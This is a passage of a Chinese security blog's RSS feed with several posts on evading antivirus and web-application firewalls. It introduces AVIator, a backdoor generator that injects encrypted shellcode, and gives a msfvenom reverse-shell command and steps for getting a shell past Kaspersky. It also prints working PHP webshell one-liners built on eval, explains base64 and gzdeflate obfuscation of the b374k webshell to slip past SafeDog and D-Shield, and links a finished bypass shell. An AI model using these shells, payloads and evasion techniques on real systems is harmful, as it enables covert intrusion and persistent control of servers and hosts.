										<content:encoded><![CDATA[<div class="post-image"><img loading="lazy" class="alignnone size-medium" src="https://user-images.githubusercontent.com/4659186/56884557-d9899800-6a72-11e9-8bb5-95872da1407d.png" alt="AVIator：使用加密和注入技术来绕过AV检测 3/71-ChaBug安全" width="858" height="968" /></div>
<p><strong>Ator</strong>是一个后门生成器实用程序，它使用加密和<a class="tag_link" title="浏览关于“注入”的文章" href="/tags/%e6%b3%a8%e5%85%a5" target="_blank" rel="noopener noreferrer">注入</a>技术来绕过AV检测。进一步来说：</p>
<ul>
<li>它使用AES加密来加密给定的shellcode</li>
<li>生成包含加密有效负载的可执行文件</li>
<li>使用各种<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>技术将shellcode解密并注入目标系统</li>
</ul>
<p>[ <a href="https://attack.mitre.org/techniques/T1055/" target="_blank" rel="nofollow noopener noreferrer">进程注入</a> ]：</p>
<ol>
<li>便携式可执行注入，包括将恶意代码直接写入<a class="tag_link" title="浏览关于“进程”的文章" href="/tags/%e8%bf%9b%e7%a8%8b" target="_blank" rel="noopener noreferrer">进程</a>（没有磁盘上的文件），然后使用其他代码或通过创建远程线程调用执行。注入代码的位移引入了重新映射内存引用的功能的附加要求。这种方法的变化，例如反射DLL注入（将自映射DLL写入<span class="wpcom_tag_link"><a href="/tags/%e8%bf%9b%e7%a8%8b" title="进程" target="_blank">进程</a></span>）和内存模块（写入进程时映射DLL）克服了地址重定位问题。</li>
<li>线程执行劫持涉及将恶意代码或DLL的路径注入进程的线程。与Process Hollowing类似，必须首先暂停该线程。</li>
</ol>
<h3>用法</h3>
<p>该应用程序有一个由三个主要输入组成的表单（见下面的截图）：</p>
<div class="post-image"><a class="fancybox" title="AVIator：使用加密和注入技术来绕过AV检测 3/71" href="https://user-images.githubusercontent.com/4659186/56884876-bca19480-6a73-11e9-8bbf-d249c4813e4e.png" target="_blank" rel="box noopener noreferrer"><img src="https://user-images.githubusercontent.com/4659186/56884876-bca19480-6a73-11e9-8bbf-d249c4813e4e.png" alt="AVIator：使用加密和注入技术来绕过AV检测 3/71-ChaBug安全" /></a></div>
<ol>
<li>包含用于加密shellcode的加密密钥的文本</li>
<li>包含用于AES加密的IV的文本</li>
<li>包含shellcode的文本</li>
</ol>
<p>重要提示：shellcode应作为C＃字节数组提供。</p>
<p>默认值包含执行notepad.exe（32位）的shellcode。提供此演示作为代码应如何形成的指示（使用msfvenom，可以使用-f csharp开关轻松完成，例如msfvenom -p windows / meterpreter / reverse_tcp LHOST = XXXX LPORT = XXXX -f csharp）。</p>
<p>在填充提供的输入并选择输出路径之后，根据所选择的选项生成可执行文件。</p>
<h3><a id="user-content-rtlo-option" class="anchor" href="https://github.com/Ch0pin/AVIator?tdsourcetag=s_pctim_aiomsg#rtlo-option" target="_blank" rel="nofollow noopener noreferrer" aria-hidden="true"></a>RTLO选项</h3>
<p>简单来说，欺骗可执行文件看起来像“无辜”扩展，如&#8217;pdf&#8217;，&#8217;txt&#8217;等。例如文件“testcod.exe”将被解释为“tesexe.doc”</p>
<p>请注意，某些AV会将恶搞作为恶意软件提醒自己。</p>
<h3><a id="user-content-set-custom-icon" class="anchor" href="https://github.com/Ch0pin/AVIator?tdsourcetag=s_pctim_aiomsg#set-custom-icon" target="_blank" rel="nofollow noopener noreferrer" aria-hidden="true"></a>设置自定义图标</h3>
<p>我想你们都知道它是什么:)</p>
<h3><a id="user-content-bypassing-kaspersky-av-on-a-win-10-x64-host-test-case" class="anchor" href="https://github.com/Ch0pin/AVIator?tdsourcetag=s_pctim_aiomsg#bypassing-kaspersky-av-on-a-win-10-x64-host-test-case" target="_blank" rel="nofollow noopener noreferrer" aria-hidden="true"></a>在Win 10 x64主机上绕过卡巴斯基AV（TEST CASE）</h3>
<p>在运行完全更新的卡巴斯基AV的Windows 10机器中获取shell</p>
<h4><a id="user-content-target-machine-windows-10-x64" class="anchor" href="https://github.com/Ch0pin/AVIator?tdsourcetag=s_pctim_aiomsg#target-machine-windows-10-x64" target="_blank" rel="nofollow noopener noreferrer" aria-hidden="true"></a>目标机器：Windows 10 x64</h4>
<ol>
<li>使用msfvenom创建有效负载<code>msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp</code></li>
<li>使用AVIator进行以下设置目标OS体系结构：x64
<p>注入技术：线程劫持（Shellcode Arch：x64，OS arch：x64）</p>
<p>目标程序：资源管理器（保留默认值）</li>
<li>在攻击者计算机上设置侦听器</li>
<li>在受害计算机上运行生成的exe</li>
</ol>
<h1>安装</h1>
<p><strong>Windows：</strong></p>
<p>编译项目或从以下文件夹下载allready编译的可执行文件：</p>
<p><a href="https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries" target="_blank" rel="nofollow noopener noreferrer">https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries</a></p>
<p><strong>Linux：</strong></p>
<p>根据您的Linux发行版安装Mono，下载并运行二进制文件</p>
<p>例如在kali：</p>
<div id="crayon-5d1778bfd7fd3344976172" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-toolbar" data-settings=" mouseover overlay hide delay">
<div class="crayon-tools">
<div class="crayon-button crayon-nums-button" title="Toggle Line Numbers">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-plain-button" title="Toggle Plain Code">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-wrap-button" title="Toggle Line Wrap">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-expand-button" title="Expand Code">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-copy-button" title="Copy">
<div class="crayon-button-icon"></div>
</div>
<div class="crayon-button crayon-popup-button" title="Open Code In New Window">
<div class="crayon-button-icon"></div>
</div>
</div>
</div>
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1778bfd7fd3344976172-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1778bfd7fd3344976172-2">2</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1778bfd7fd3344976172-1" class="crayon-line"><span class="crayon-v">root</span><span class="crayon-sy">@</span><span class="crayon-v">kali</span><span class="crayon-p"># apt install mono-devel </span></div>
<div id="crayon-5d1778bfd7fd3344976172-2" class="crayon-line crayon-striped-line"><span class="crayon-v">root</span><span class="crayon-sy">@</span><span class="crayon-v">kali</span><span class="crayon-p"># mono aviator.exe</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>详细内容移步<a href="https://github.com/Ch0pin/AVIator" target="_blank" rel="nofollow noopener noreferrer">https://github.com/Ch0pin/AVIator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP利用Apache、Nginx的特性实现免杀Webshell</title>
		<link>/tools/646.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 25 Jan 2019 14:33:27 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[过狗]]></category>
		<category><![CDATA[过狗一句话]]></category>
		<guid isPermaLink="false">/?p=646</guid>

					<description><![CDATA[get_defined_vars()、getallheaders()是两个特性函数，我们可以通过这两个函数来构造我们的webshell。 前几天看到的，一直忘记写，填坑。 &#60;...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block md-focus" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span>、<span spellcheck="false"><code>getallheaders()</code></span>是两个特性函数，我们可以通过这两个函数来构造我们的<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>。 <span class="md-expand">前几天看到的，一直忘记写，填坑。</span> <span class="md-comment" spellcheck="false">&lt;!&#8211;more&#8211;&gt;</span></p>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true">环境</span></th>
<th><span class="td-span" contenteditable="true">函数</span></th>
<th><span class="td-span" contenteditable="true">用法</span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">nginx</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span></span></td>
<td><span class="td-span" contenteditable="true">返回由所有已定义变量所组成的数组</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">apache</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>getallheaders()</code></span></span></td>
<td><span class="td-span" contenteditable="true">获取全部 HTTP 请求头信息</span></td>
</tr>
</tbody>
</table>
</figure>
<h2 class="md-end-block md-heading" contenteditable="true">apache环境</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(next(getallheaders())); 
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg" /></span></p>
<h2 class="md-end-block md-heading" contenteditable="true">apache和nginx环境通用</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(implode(reset(get_defined_vars())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg" /></span> 另外一种通过执行伪造的sessionid值，进行任意代码执行。</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(hex2bin(session_id(session_start())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg" /></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>706870696e666f28293b</code></span>这个是<span spellcheck="false"><code>phpinfo();</code></span>的hex编码。</p>
<h2 class="md-end-block md-heading" contenteditable="true">给<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>加密码</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php eval(get_defined_vars()['_GET']['cmd']);?&gt;</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP免杀大马的奇淫技巧</title>
		<link>/web/601.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 17 Nov 2018 14:48:19 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[大马]]></category>
		<guid isPermaLink="false">/?p=601</guid>

					<description><![CDATA[Part 1 常见PHP大马: Part 2 大马后门检查: Fiddler 抓包 审计代码 这里我以http://webshell8.com/ 这里的大马为例子演示 修改并运行脚...]]></description>
										<content:encoded><![CDATA[<h2 class="md-end-block md-heading">Part 1</h2>
<p class="md-end-block">常见<span class="wpcom_tag_link"><a href="/tags/php" title="PHP" target="_blank">PHP</a></span><span class="wpcom_tag_link"><a href="/tags/%e5%a4%a7%e9%a9%ac" title="大马" target="_blank">大马</a></span>:</p>
<p class="md-end-block"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfqfzdtrj30zo0kr0yh.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfqfzdtrj30zo0kr0yh.jpg" /></span></p>
<p class="md-end-block"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfqq0ukjj31000niagi.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfqq0ukjj31000niagi.jpg" /></span></p>
<h2 class="md-end-block md-heading">Part 2</h2>
<p class="md-end-block">大马后门检查: <span spellcheck="false"><code>Fiddler</code></span> 抓包</p>
<p class="md-end-block"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfqy66gjj30ut0lb789.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfqy66gjj30ut0lb789.jpg" /></span></p>
<p class="md-end-block">审计代码</p>
<p class="md-end-block">这里我以<span class="md-link" spellcheck="false"><a href="http://webshell8.com/">http://webshell8.com/</a></span> 这里的大马为例子演示</p>
<p class="md-end-block">修改并运行脚本 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfr6sosvj30uk0dvmz0.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfr6sosvj30uk0dvmz0.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>Burp</code></span>抓包或者右键查看原代码 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfrofo55j30zo0n610l.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfrofo55j30zo0n610l.jpg" /></span></p>
<p class="md-end-block">修改并运行代码 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfrx13aoj30tf0h9taa.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfrx13aoj30tf0h9taa.jpg" /></span></p>
<p class="md-end-block">再使用<span spellcheck="false"><code>Burp</code></span>抓个包 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfs4c3j1j30zo0lntgg.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfs4c3j1j30zo0lntgg.jpg" /></span></p>
<p class="md-end-block">查找关键字<span spellcheck="false"><code>GetHtml</code></span> <span spellcheck="false"><code>hmlogin</code></span> <span spellcheck="false"><code>localhost</code></span>等 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfsbrf4cj30tf0bzabr.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfsbrf4cj30tf0bzabr.jpg" /></span></p>
<p class="md-end-block">把上图的<span spellcheck="false"><code>base64</code></span>代码解密下 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfsrowcuj30sf0iuq4w.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfsrowcuj30sf0iuq4w.jpg" /></span></p>
<h2 class="md-end-block md-heading">Part 3</h2>
<p class="md-end-block">大马源码<span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span></p>
<p class="md-end-block">这里我使用的是国外的一款大马<span spellcheck="false"><code>b374k</code></span>来进行免杀。 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfsz55kcj30zo0g40yd.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfsz55kcj30zo0g40yd.jpg" /></span></p>
<p class="md-end-block">执行代码 <span spellcheck="false"><code>eval</code></span> 或 <span spellcheck="false"><code>preg_replace的/e修饰符</code></span>来执行大马代码。 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbft9zeonj307208cjsk.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbft9zeonj307208cjsk.jpg" /></span></p>
<pre class="lang:default decode:true ">$a = 'phpinfo();';
eval($a);
//eval执行php代码</pre>
<p>&nbsp;</p>
<p class="md-end-block">编码</p>
<p class="md-end-block">如果直接去执行代码，是过不了waf的，我们一般需要将大马源码进行编码。 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfthzl8fj30d303kjre.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfthzl8fj30d303kjre.jpg" /></span></p>
<pre class="lang:default decode:true ">$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大马源码路径
$encode = base64_encode(gzdeflate($code));  //加密函数自己修改就行
echo $encode; //输出加密后代码</pre>
<p>&nbsp;</p>
<p class="md-end-block">在线加解密码 <span class=" md-link"><a spellcheck="false" href="http://www.zhuisu.net/tool/phpencode.php">点这里</a></span></p>
<p class="md-end-block">这里我先将b374k的源码去掉<span spellcheck="false"><code>&lt;?php ?&gt;</code></span>后，<span spellcheck="false"><code>base64</code></span>加密 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfts9awxj30sf0iwwgj.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfts9awxj30sf0iwwgj.jpg" /></span></p>
<p class="md-end-block">解码</p>
<p class="md-end-block">通过解码执行我们的代码。 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfu0ictaj30bw03eq2u.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfu0ictaj30bw03eq2u.jpg" /></span></p>
<p class="md-end-block">那我们来试试解码并执行刚刚base64加密的大马。</p>
<pre class="lang:default decode:true ">&lt;?php
eval(base64_decode('刚刚加密的代码'));
?&gt;</pre>
<p>&nbsp;</p>
<p class="md-end-block"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfu943qhj30zo0hbajy.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfu943qhj30zo0hbajy.jpg" /></span></p>
<p class="md-end-block">关键字免杀</p>
<pre class="lang:default decode:true ">// 类型这样的关键字如果没有混淆拆分是过不了waf的
eval(base64_decode('code'));
// 我们需要做的就是关键字免杀</pre>
<p>&nbsp;</p>
<p class="md-end-block md-focus">免杀 <span class="md-expand" spellcheck="false"><code>payload 1</code></span> 过狗过D盾 注意: <span spellcheck="false"><code>code</code></span>就是我们刚刚<span spellcheck="false"><code>加密的base64</code></span>代码。 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfuhuuyqj30ma0bgjrv.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfuhuuyqj30ma0bgjrv.jpg" /></span></p>
<p class="md-end-block">免杀 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfupwkd4j312m0n1wmt.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfupwkd4j312m0n1wmt.jpg" /></span></p>
<p class="md-end-block">D盾规则库 <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfuwhvw9j30n70g5gma.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfuwhvw9j30n70g5gma.jpg" /></span></p>
<p class="md-end-block">免杀 <span spellcheck="false"><code>payload 2</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfv3dci3j30m407mmxd.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfv3dci3j30m407mmxd.jpg" /></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfva5s6qj30zo0lxdnj.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfva5s6qj30zo0lxdnj.jpg" /></span></p>
<p class="md-end-block">总结，源码免杀就到这里了，其实只需要些php基础，轻松免杀。</p>
<h2 class="md-end-block md-heading">Part 4</h2>
<p class="md-end-block">只有几百字节的大马</p>
<p class="md-end-block">首先我们需要了解，几百字节是什么概念 <span spellcheck="false"><code>1kb</code></span> <span spellcheck="false"><code>=</code></span> <span spellcheck="false"><code>1024b</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfvieynkj304g04gdg9.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfvieynkj304g04gdg9.jpg" /></span></p>
<p class="md-end-block">那么我们怎么实现呢，2种思路<span spellcheck="false"><code>远程读取</code></span>和<span spellcheck="false"><code>远程下载</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfvq8foej305i05i752.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfvq8foej305i05i752.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>远程读取</code></span> <span spellcheck="false"><code>payload 3</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfvxu7w1j30tn087wf1.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfvxu7w1j30tn087wf1.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>上传txt</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfw74t0kj30vf0dkmzd.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfw74t0kj30vf0dkmzd.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>免杀</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfwefh6nj312e0l7dmt.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfwefh6nj312e0l7dmt.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>payload 4</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfwlf79dj30ll05xglt.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfwlf79dj30ll05xglt.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>免杀</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfwsa2dxj314w0kan4m.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfwsa2dxj314w0kan4m.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>远程下载</code></span> <span spellcheck="false"><code>payload 5</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbg5u7volj30pq08xaaf.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbg5u7volj30pq08xaaf.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>免杀</code></span> <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fxbfx94jzyj30zo0o8qau.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fxbfx94jzyj30zo0o8qau.jpg" /></span></p>
<p class="md-end-block"><span spellcheck="false"><code>大小</code></span>最小的一百多字节，其他2个两百多字节那样子。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP反序列化漏洞与免杀一句话shell</title>
		<link>/web/386.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 25 Mar 2018 07:49:58 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=314</guid>

					<description><![CDATA[Author:vspiders 首发地址：http://blog.csdn.net/vspiders/article/details/79643200 前言 最近和小伙伴们一起研究...]]></description>
										<content:encoded><![CDATA[<blockquote><p>Author:vspiders<br />
首发地址：<a href="http://blog.csdn.net/vspiders/article/details/79643200">http://blog.csdn.net/vspiders/article/details/79643200</a></p></blockquote>
<h1>前言</h1>
<p>最近和小伙伴们一起研究了下<span class="wpcom_tag_link"><a href="/tags/php" title="PHP" target="_blank">PHP</a></span>反序列化漏洞，突发奇想，利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。</p>
<h1>0x01 PHP反序列化</h1>
<p>说起PHP反序列化，那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输，比如跨脚本等。而PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。</p>
<h1>0x02 PHP反序列化漏洞</h1>
<p>PHP类中有一种特殊函数体的存在叫魔法函数，magic函数命名是以符号__开头的，比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用，比如__construct当一个对象创建时被调用，__destruct当一个对象销毁时被调用，__toString当一个对象被当作一个字符串使用。<br />
而在反序列化时，如果反序列化对象中存在魔法函数，使用unserialize()函数同时也会触发。这样，一旦我们能够控制unserialize()入口，那么就可能引发对象注入漏洞。</p>
<p>比如上述代码，构造payload为<code>http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}</code><br />
反序列化后在脚本运行结束时就会调用_destruct函数，同时会覆盖test变量输出hello。<br />
<img title="1.png" src="/wp-content/uploads/2018/03/3182795718.png" alt="1.png" /></p>
<h1>0x03 回马枪</h1>
<p>我们可以利用该漏洞点，控制输入变量，拼接成一个序列化对象。然后再构造一个魔法函数，比如在_destruct()函数中调用eval执行序列化对象中的语句。</p>
<p><img title="2.png" src="/wp-content/uploads/2018/03/3659852561.png" alt="2.png" /></p>
<h1>0x04 效果演示</h1>
<p>直接菜刀链接：<br />
<img title="3.png" src="/wp-content/uploads/2018/03/1171221208.png" alt="3.png" /><br />
<img title="4.png" src="/wp-content/uploads/2018/03/3303201368.png" alt="4.png" /><br />
<img title="5.png" src="/wp-content/uploads/2018/03/569121404.png" alt="5.png" /><br />
此木马毕竟是跟正常文件太像，所以<span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span>效果很不错。这里只是测试了安全狗、D盾，其余自测。</p>
<h1>小结</h1>
<p>而且由此可以引发很多变形，这里只是利用反序列化漏洞，其他漏洞也可以用来当作木马的载体，毕竟cms的代码执行漏洞在被发现之前，他依旧是一个正常到不能再正常的文件。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP大马免杀思路附成品</title>
		<link>/tools/364.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 28 Feb 2018 23:17:00 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[D盾]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[大马]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=258</guid>

					<description><![CDATA[PHP大马免杀 0x00 介绍 前篇文章我与某狗的恩恩怨怨也介绍了一种，免杀大马的姿势，今天再介绍一种，思路来源T00ls论坛。 0x01 源码 还是一样大马源码一份，然后base...]]></description>
										<content:encoded><![CDATA[<h1>PHP<span class="wpcom_tag_link"><a href="/tags/%e5%a4%a7%e9%a9%ac" title="大马" target="_blank">大马</a></span><span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span></h1>
<h2>0x00 介绍</h2>
<blockquote><p>前篇文章<a href="/archives/224.html">我与某狗的恩恩怨怨</a>也介绍了一种，免杀大马的姿势，今天再介绍一种，思路来源T00ls论坛。</p></blockquote>
<h2>0x01 源码</h2>
<p>还是一样大马源码一份，然后base64加密。<br />直接上代码了。</p>
<p>本地测试<span class="wpcom_tag_link"><a href="/tags/%e8%bf%87%e7%8b%97" title="过狗" target="_blank">过狗</a></span>过<span class="wpcom_tag_link"><a href="/tags/d%e7%9b%be" title="D盾" target="_blank">D盾</a></span>，当然这是静态免杀。<br />感觉你们会觉得我不上图，不信我，那就自己动手手试试= =。</p>
<h2>0x02 思路</h2>
<p>可以看到首先base64加密，然后就像编写一句话一样，去执行我们的代码，也就是base64加密的的，思路还是可以扩展很多的，但是会waf拦截某些函数执行，就换份大马源码，但是这种方法过狗足够了。</p>
<h2>0x03 成品</h2>
<p>上传到GitHub了 <a href="https://github.com/ChaBug/shell/blob/master/php/dama_bypass.php">下载地址</a><br />另外这个大马是国外的，用不习惯的自行加密更换</p>
<p>补图：(1.php是大马)<br /><img src="/wp-content/uploads/2018/02/3600173245.jpg" alt="bypass.jpg" title="bypass.jpg"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我与某狗的恩恩怨怨</title>
		<link>/web/355.html</link>
					<comments>/web/355.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 13 Feb 2018 20:41:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[一句话]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[安全狗]]></category>
		<category><![CDATA[木马]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=224</guid>

